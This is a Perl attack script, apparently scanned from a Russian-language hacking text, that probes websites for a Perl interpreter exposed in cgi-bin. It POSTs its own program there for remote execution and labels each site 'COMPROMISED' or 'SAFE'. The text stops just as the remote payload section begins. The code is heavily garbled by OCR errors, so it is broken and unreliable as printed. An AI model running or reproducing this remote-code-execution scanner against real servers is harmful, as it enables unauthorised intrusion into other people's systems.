Require 5.002; use strict;

use LWP: :UserAgent:

my $PROGNAME = "latrodectus cyberneticus"; my$VERSION = "1.0"; my $DEF_CGI_BIN =

"/cgi-bin":

# Имя интерпретатора peri на удаленной машине, # стоит попробовать и peri. exe, и peri. corn my

$DEF_PERL_PATH = "/peri. exe";

# Заносим в переменную $PROGRAM текст, начинающийся # после слов __END__, - нашу программу,

которая будет # выполняться на удаленном сервере ту $PROGRAM = join qq=^><DATA>:

$1 --1;

if (@)ARGV) {

for (OARGV) { probe($J } }elsif(i-tSTDIN){ while <STDIN> { chomp:

probe($_): } } else {

die "usage: $0 [site ... ]n": }

subprobe { my $site= shift;

my $cgi_bin = ' ' : my U)perl_path = ' ' ; my $pre_site = ' ' ;

if($site!~mff/ff) {

$cgi_bin = $DEF_CGI_BIN;

} if ($site.!~ /peri/) {

$perl_pa1:h = $DEF_PERL_PATH; } if ($site Г тГ//й) {

$pre_site = '//'; }

ту $ua = LWP: :UserAgent->new(); $ua->agent("$PROGNAME, v$VERSION"),

# Формируем полный uri интерпретатора

my$full_targ -- 'http:' . $pre_si1:e . $site . $cg]._bin . $perl_path; printf "%-35s ", $site;

ff Открываем соединение my $req = HTTP: :Request->new( POST => $full_targ );

# Посылаем нашу программу

$req->content_type('appl].cation/x-www-forni-urlencoded' ); $req->content($PROGRAM);

# Получаем ответ my $res = $ua->request($req):

ff Проверяем, выполнилась ли наша программа if ($res->is_success) { if ($res->conten1: =~

/WWW Black Widow/) {

print "<< COMPROMISED >>n"; } else { my $oops = $res->conten1:; $oops =~ s/n/ /g;

print "APPREHENDED: $oopsn"; }

} else {

my $oops = $res->code . " ". $res->message; if ($res->code == 404) {

print "SAFE: $oops"; } else {

print "ERROR: $oops"; } print "n" unless $oops =~ /n$/;

} }

__END__

# Здесь начинается код, который будет выполнен на удаленной и машине. Сначала